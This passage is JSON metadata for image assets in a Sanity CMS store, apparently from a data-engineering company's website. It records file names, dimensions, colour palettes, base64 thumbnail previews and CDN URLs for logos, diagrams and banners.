567x844.png","sha1hash":"b64d65c1f07ada1861cbe2d7bea095be853a1ec4","size":419616,"uploadId":"MupdSjZv9eZFdbeCPnLZrBwHuDT1KojC","url":"https://cdn.sanity.io/images/sczeoy4w/production/b64d65c1f07ada1861cbe2d7bea095be853a1ec4-1567x844.png"} {"_createdAt":"2023-05-26T11:26:44Z","_id":"image-b66a21d26808683c644e396809447fddd2bc8384-515x113-svg","_rev":"Bg5HPBiLdZofLBzDE6BsQd","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T11:27:00Z","altText":"Terraform logo","assetId":"b66a21d26808683c644e396809447fddd2bc8384","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.557522123893805,"height":113,"width":515},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA5ElEQVQYlU3Qu0pDYRAE4C+CtTcQC7HTgGIRIsSIItFIDPGYQLzASRRBCRaaoIi9WGmlhYVv4CMIdj6ANpY2QfMecsJfWAzD7C4zu6sZ9V4a0U+rWvrIrxde59Lp9iQDWZQxj1EMBYwgjRVMY/hffayP5nbvNo66T7XS50Nx7e04k7mfIZXHBc6xjxoqgU/QwQF2UMcuYhwmhrk46t7Vy1/Pm8X3WnbhMUmaxRlucBlMjtDGdQhK+leBWzjt62bUm2hEv514q9veq3xPwUBqcDycVcUGFrEUtkxesYxi0KvIhZnCH/BNMX0WOdj6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2f5e","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1579","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c49f6","foreground":"#fff","population":0.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#220f89","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c54ec","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d5598","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c49f6","foreground":"#fff","population":0.88,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-h-terraform.svg","path":"images/sczeoy4w/production/b66a21d26808683c644e396809447fddd2bc8384-515x113.svg","sha1hash":"b66a21d26808683c644e396809447fddd2bc8384","size":2780,"title":null,"uploadId":"KCHAzZF2OaRAVdjhsBjSPbkOjCzcP2Vi","url":"https://cdn.sanity.io/images/sczeoy4w/production/b66a21d26808683c644e396809447fddd2bc8384-515x113.svg"} {"_createdAt":"2022-09-07T11:39:49Z","_id":"image-b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GMFV","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:49Z","assetId":"b6af9833e3bd195ed0ccf98437f17e92d8e470fb","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzUlEQVQ4jX1VO2uVQRA98SIBtbg3qSx8hWhjwNj4KLXTwgdJocFrku9sYoSAj05FSCqxEkUNWIiICCmCIigimESCD8Qq+gOClv6HOTq7c/Uq0QuHb5idOTs7c3YvREBjgEaAbDtSgRGwChtE7HK4bX+tyzEMaLz4oL7srBmxXkRdREMJDSO6lFC3QjbtyHbKMb7WyLFE3Sqs1yhquu6EY+gUsVPEaRGXRUwpFQIlTImYEbEcmAnfdMRMWck5rQo7NYpOL3OHiEtGvDTijRELlrBoxKKIBSUsKeFTYCn7iEWPCfuNiJfBsd0JD4t4asScERNGDChhUOU7kL/E8UDxFX8r5qyIORFPRBzy/g0pYV4J10RsjKHURKxxWMqoBbIvw2NGc6zneO5r5/JJNS3lo01Fw8sUfcJpdbTW41vPfS/Hb2ZCeT+8yQldIYWOljT+BfOYEtsVuc7RdIdX2CJ0GRTCi/jnT0OZtGzKnOOS8iE1faHpUwut+W4lePg/hGdi03LsVStcCGd3VLgmKlgdREceUKmwO4opPVTCKf0mLEdub3rbEH4N5M+hNNoIT7lj0IhXcSP2iNhkCZuVsClQbLbZLX/x7TViJjgGfVr7RdwTMS/ioYg7SrgbGzjcvmvFV/wpw+07kTMfHPtbPfBbcFvEMxFvRXwV8V3EZxHvRaxYwkrYy7H2TcQ7z7GSe8y5/NnxRtfjgTgi4oYTGfFRxFURkyEJx6SIK0Z8EPFFxE0jjkZuXcPoKBLwK1ShKyp9JOKFERdUYauI3UqYtYRZEf2qsEXEORHPRTyOu17kNuKamshk/oQdEHE/As+rQq9OZIn0RaKjz07mW9ITpC9EPBBx0IhO5yovdYV10YNbljBpKSfUQhbb/JgBt10+vtajlFtwK+dWWGejTliOu1ZEr0/JJWHj+WVpPfH+F9AfcLs8EuOZ1OW0L+c6x0/CH0uqifq7tf5xAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64542c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#942404","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96006","foreground":"#fff","population":6.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962e02","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6424","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07454","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96006","foreground":"#fff","population":6.08,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-stand.svg","path":"images/sczeoy4w/production/b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24.svg","sha1hash":"b6af9833e3bd195ed0ccf98437f17e92d8e470fb","size":507,"uploadId":"rPJqwdtxYQWVlOxC0iJjazOdq0UuZjb2","url":"https://cdn.sanity.io/images/sczeoy4w/production/b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24.svg"} {"_createdAt":"2024-02-01T05:14:39Z","_id":"image-b6fe31ea32b4722fd6fb63a9ffc0a8e487e95c22-1200x628-png","_rev":"ZLvKaZvfbZlWBlGcpPQOZr","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T05:14:39Z","assetId":"b6fe31ea32b4722fd6fb63a9ffc0a8e487e95c22","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M~Ol.Y}AE+WW$fsmWVj[jFj]nOWCjFj[kB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACb0lEQVQokU2SyU5TAQBFH4KIiKTzm0qxgGWwVhmUFomIAxAXJELgAUVksEBlsChIsCKJSqJRf8D4D/6GuPIT/AfX7x5DMNHVzd2c5OZcQ5PVaC6IFqNoKYpWTFS00LqFNi1UstEzG5XCsFbN7+Uqvo3FGLuSoq2xnWTyKg1N1xjI5fhYHMKQV4Pmo6hgo4KJChG0HEbFCNowUclCW8cZhvUafs1VcdgfJNvYRDLRSaIli5seoH14gtHiEww9DKBSGu1l0W432kmjF8f9MnrdjQ460f4lKF9EW0F+Tp2hkInSYqVwk724XcM49+dJzO+SWtzB0GwAbWVQ+QYqZ9FBPzq8jd4NoMOb6G0Wldtgx8XfrOPHVB0zmQRxqxWzPYc9NIPrrRP3irjDHoby9WijDe32oL1r6HUfOsihV12ofBnttaKnUVitxl89xZFXi5excRpSxK7fwR59hHt3HKtnkHDmBoYWYmh/AH2eQJ/G0X72RMrj82i5Dq2cQ6tnYLUKv1jJ0dRZvL4W4n1DOCPTuIOjmB29hJq7CKZ6MFSIow8P0NcN9GXlZPJCLcobaM5AixVorRa2Q/jbAb4XbLypERq9Ndw7k1itvYQSnYQSaWL2BQw/X49fSuO/zJ1IeRJHD0+j2b/ApUr0PAJvm/HfNHH0IsP00iSJkWnM9puE7euE7S5M8wJWIIjhT5zGn4/iFxy0FEFzZ1G+4j/gKbQdgfcd+J8y/NjrJj9+j4b0LSJOH5FoD1YwiRMysWM2hj9egX987ukaNHOclWjG+AdcqECbdfDu4glws4V8fwdu820i7iBWoAmnth4nEMZpTvMH1/G0t6OOhBYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#306431","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#840e04","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":10.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9f96","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79442","foreground":"#000","population":5.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6c45","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":10.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover.png","path":"images/sczeoy4w/production/b6fe31ea32b4722fd6fb63a9ffc0a8e487e95c22-1200x628.png","sha1hash":"b6fe31ea32b4722fd6fb63a9ffc0a8e487e95c22","size":391706,"uploadId":"2TtIpGqZjmfhDDQMVPsxvMBuXaQEBCsC","url":"https://cdn.sanity.io/images/sczeoy4w/production/b6fe31ea32b4722fd6fb63a9ffc0a8e487e95c22-1200x628.png"} {"_createdAt":"2022-09-16T13:52:27Z","_id":"image-b7020ca844f2a14c5bfb3e774e37ad76562cada5-1771x1979-jpg","_rev":"StyfnzRSyhTCbsBlPP1eH1","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T13:52:27Z","assetId":"b7020ca844f2a14c5bfb3e774e37ad76562cada5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e4TI%S?b?^_3DO^kt7pJofrXxCRjIqWBxB_2t7o}ofROxaWBNFWBni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8948964123294593,"height":1979,"width":1771},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAWABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAIDAQQI/8QAIBAAAwACAgEFAAAAAAAAAAAAAAECESEEEjEDEzJRYf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFxEBAQEBAAAAAAAAAAAAAAAAAAERIf/aAAwDAQACEQMRAD8A6oqlKyyjjKod+56nftWZ14X0bD8bKeOmneaVb1+Ezbqy8XAAqIRTttNYMxEx8QAJAAD/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#815171","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e2b6c","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bfb0a3","foreground":"#000","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfb0a3","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc874","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88487c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6404","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"diagram-customer-kafka-service-integration-2.jpeg","path":"images/sczeoy4w/production/b7020ca844f2a14c5bfb3e774e37ad76562cada5-1771x1979.jpg","sha1hash":"b7020ca844f2a14c5bfb3e774e37ad76562cada5","size":52698,"uploadId":"IiBaAB7LVhnMpgZvDKSJriNA3yREmY2R","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7020ca844f2a14c5bfb3e774e37ad76562cada5-1771x1979.jpg"} {"_createdAt":"2022-06-15T20:02:28Z","_id":"image-b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriG8P","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:52Z","assetId":"b719ac2f403146e59aae99d23acc219c5ae5688e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYOWKY_N^+5TxCPWi_Ntn4x[%gM_Mwxaof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADS0lEQVQokT3O3U9bdRjA8V574X+xxBu9cleSeeWM0RsMW3wZTmM6MxMxWUaGQFEhrHQjaykVcFs5ICBQqLxKy2vZUGlLXyhlbc/pKeecnpba8/udtqznLCzY5zFbjBfffG8/hiOxcCOdyTEcL7tTnDSTZMXZFCe9LJkSZ9OZ/KycV2elfHkuk1XnOFF1+1lt9seJ9NJbxtHNL9rHV3Yjmd+o+nSEkEqrIcmKzmgsxYWjiVIwFCfB0AHdC8WpP7hPdwNRGo2laEZSqHR8orJHRTUcl6gncEx7ZgS1vmWhcqVlVP19K1Iq/k3SZYWMGiSZuDLCsZrO5JHj5f9LsRKmuCyymQI+4fK4sxvDSdci9g8yeG9oEi0/L2FL7wx2O9z4+M8oKnK2VC7I8waFalMK1RSFalgk1ZpCq1CkGhRJFYrFCkhCHrY2H0F3dw989PEncPHd96D+w0vw1fVv4Lv2TmCY8Vo8FEAqJNSymFgxEFWfJqpOiKojUXV4eVJBVUxjed+DeZ8T5+734LUvP8cLF97G8+ffxLq6Orx8+RI2NTXhvbt3wL+xhCoXLJe4vY0XwmmFauSFUKEaEKqhKvFY3bbj6a8f4DFzEeesRuy4eQ2vGxvx6meN2NDQgEajEU2mdrTf6YTd+ftYOVyrlJI72/8JNUJoFSl9WlNpGU7SO3C63AjPRl+D5PA74LJ/Dc6734LDcgt+6GiH5uZm6OrshMGf7DD/4Dbwk814utVTqe4v+AyUnExTUlFURcWSQmqV4jHo6WXQt66A4K4H7y+t8NDRDQ/tXTBoM4PFYgZHfz/MuFywtuqFwMp4LTdmxOfM++UzT+umoSxnXVQ8oorIYymXQb3A43NhHat7t/HQa8aFaScyzgc4ONCPfTYbWq1WHGEYXF/1ot/vx8CjVeTGb6De+7qGtjcChioXc9An4UghERZKRzH2NHfI/iMH2VPOw+bDi2zEt8ivL7qEqbFhYWjAIfb12fIjzHBhw7ucDe0+Fvw+r5CYaJGr5nM8ml5ZNzwT4p9W+WhHJRPp1sWo6SwXbYNcpA3kUNuZFDTp/F9dhQOfJepbsLgnhnsHHPahsVFmOLDt6ZMO/rBwgTXL0dQtm2Y+Z8XvX735L45qpokWoTOVAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c5434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#26395a","foreground":"#fff","population":2.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88d0e","foreground":"#000","population":6.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfb9b3","foreground":"#000","population":4.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64a2f6","foreground":"#000","population":0.64,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b6ca3","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88d0e","foreground":"#000","population":6.78,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844.png","path":"images/sczeoy4w/production/b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844.png","sha1hash":"b719ac2f403146e59aae99d23acc219c5ae5688e","size":495202,"uploadId":"4RlIbqJoNWMXxGOljodMKYZPlWlANjXg","url":"https://cdn.sanity.io/images/sczeoy4w/production/b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844.png"} {"_createdAt":"2022-06-16T23:49:35Z","_id":"image-b721f4d2e8d674daea7445cdc07bcaa9988d199a-1200x630-jpg","_rev":"qkpX9b3U0TpOGFQp8fVRI6","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T23:49:35Z","assetId":"b721f4d2e8d674daea7445cdc07bcaa9988d199a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLS1bz|1V]GF]hxxRnjFozaK;2F2kV$gI=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAv/EACAQAAICAgICAwAAAAAAAAAAAAECAwQAEQUhEjEUQZH/xAAXAQADAQAAAAAAAAAAAAAAAAACBQYH/8QAGxEBAQADAAMAAAAAAAAAAAAAAQIAAxEFFZH/2gAMAwEAAhEDEQA/AL0jqmFNxoGC6PZ7OYvWa3HcT8hSsc0svhpk8tLr2MofuFeh+YqaGOwipOgdV7AP1kP7RjYNnTNX2y3KC/cVRFexShlIcsy7YgaG94ZVDGscaoihVHoDDFu3yNVaycMKWgDuf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e1b0a","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4230d","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3f47","foreground":"#fff","population":8.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cbcbc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3f47","foreground":"#fff","population":8.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#804042","foreground":"#fff","population":0.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740c","foreground":"#fff","population":8.16,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Mirakl_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/b721f4d2e8d674daea7445cdc07bcaa9988d199a-1200x630.jpg","sha1hash":"b721f4d2e8d674daea7445cdc07bcaa9988d199a","size":215971,"uploadId":"xMylzEiWudmALo1Qap7lui52ppcmiKqo","url":"https://cdn.sanity.io/images/sczeoy4w/production/b721f4d2e8d674daea7445cdc07bcaa9988d199a-1200x630.jpg"} {"_createdAt":"2023-04-03T10:36:54Z","_id":"image-b7597259c0cd19f2e6ce979b0e37c50e6d909b75-1080x608-gif","_rev":"IfootSjA4c56MZIbwrvalI","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:36:54Z","assetId":"b7597259c0cd19f2e6ce979b0e37c50e6d909b75","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIFCP/EABsQAAMBAQADAAAAAAAAAAAAAAABAxECBAUS/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAP/xAAYEQADAQEAAAAAAAAAAAAAAAAAAQMRQv/aAAwDAQACEQMRAD8A1JKSmmlg/wAjAATq+m8K1OqUjvXT1vWBRAYUVqLpn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#585858","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b33152","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#de194d","foreground":"#fff","population":0.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7839b","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de194d","foreground":"#fff","population":0.39,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-create.gif","path":"images/sczeoy4w/production/b7597259c0cd19f2e6ce979b0e37c50e6d909b75-1080x608.gif","sha1hash":"b7597259c0cd19f2e6ce979b0e37c50e6d909b75","size":12781297,"uploadId":"yh3idqoc3JaAQ8FqQwVXpCSVDS0vJOUm","url":"https://cdn.sanity.io/images/sczeoy4w/production/b7597259c0cd19f2e6ce979b0e37c50e6d909b75-1080x608.gif"} {"_createdAt":"2023-09-08T08:58:32Z","_id":"image-b76165eb1f008acda02486b8be915736a030ffef-1999x992-jpg","_rev":"Dk4vsGyYpr9Xi9g7qz9sNv","_type":"sanity.imageAsset","_updatedAt":"2023-09-08T08:58:32Z","assetId":"b76165eb1f008acda02486b8be915736a030ffef","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0151209677419355,"height":992,"width":1999},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBQj/xAAgEAABBQAABwAAAAAAAAAAAAABAAIDBBEFBhM1UYGh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQD/xAAXEQEBAQEAAAAAAAAAAAAAAAABABFR/9oADAMBAAIRAxEAPwDSdCszhVQxUQXwMGhu79TVe6ZWuJie3DmYoeX+1xe1ZBKq6wAGEuZ3hxHRcR5QmEJ05WPb/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f6061","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c447c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6bdc1","foreground":"#000","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6bdc1","foreground":"#000","population":1.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7ea7e9","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b35f7e","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f42c5c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"streaming-data-with-the-bigquery-ecosystem.jpg","path":"images/sczeoy4w/production/b76165eb1f008acda02486b8be915736a030ffef-1999x992.jpg","sha1hash":"b76165eb1f008acda02486b8be915736a030ffef","size":65116,"uploadId":"E7e9qNXzbQ6IX7ic8bFVKHOO6Mvr7hvr","url":"https://cdn.sanity.io/images/sczeoy4w/production/b76165eb1f008acda02486b8be915736a030ffef-1999x992.jpg"} {"_createdAt":"2023-09-06T15:43:08Z","_id":"image-b798726198eda79a12b75341945d404a1b5b78ab-2000x500-png","_rev":"jBJgpqpGruZvOgVMUBaQ3b","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T15:43:19Z","altText":"Google Cloud partner of the year reward","assetId":"b798726198eda79a12b75341945d404a1b5b78ab","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":500,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAA7ElEQVQYlV2QXYrDMAyEsyfr0XuNLoU0fUjYktaOnfhPsjSL3X3pDgwSkvgQM9RKyExItYArg5lBRN2tryLgSojZwYSXPuIGm4PkSmdRPRHkC8CgqkPXG5jhKcDsG+ZlxjRNuN/vmOcZxlqktCOHFdY9dPEvPKKXg/NZVE5F/gOZkCnBlwNPb3Cbbvi+XHC9XjGOY4du9oV0GOze6LpvMOn9oaqeguRPIHEBcwG1T0vG7h02a+Gcg/e+O4SAGA8EZ/Xwrt2JiHQgKX8CW3YtJ6hCVXvt/lObtX1qwHXRuP6gxChVpGcI1g5sbvoFDSJciFY/JOkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#229e64","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1c9b4","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9f8aa","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47054","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54f4ac","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"banner-gcp-partner-of-the-year (1).png","path":"images/sczeoy4w/production/b798726198eda79a12b75341945d404a1b5b78ab-2000x500.png","sha1hash":"b798726198eda79a12b75341945d404a1b5b78ab","size":218359,"title":null,"uploadId":"4w5rUViVROjX0vOaYLtOaQPFq184OtOJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/b798726198eda79a12b75341945d404a1b5b78ab-2000x500.png"} 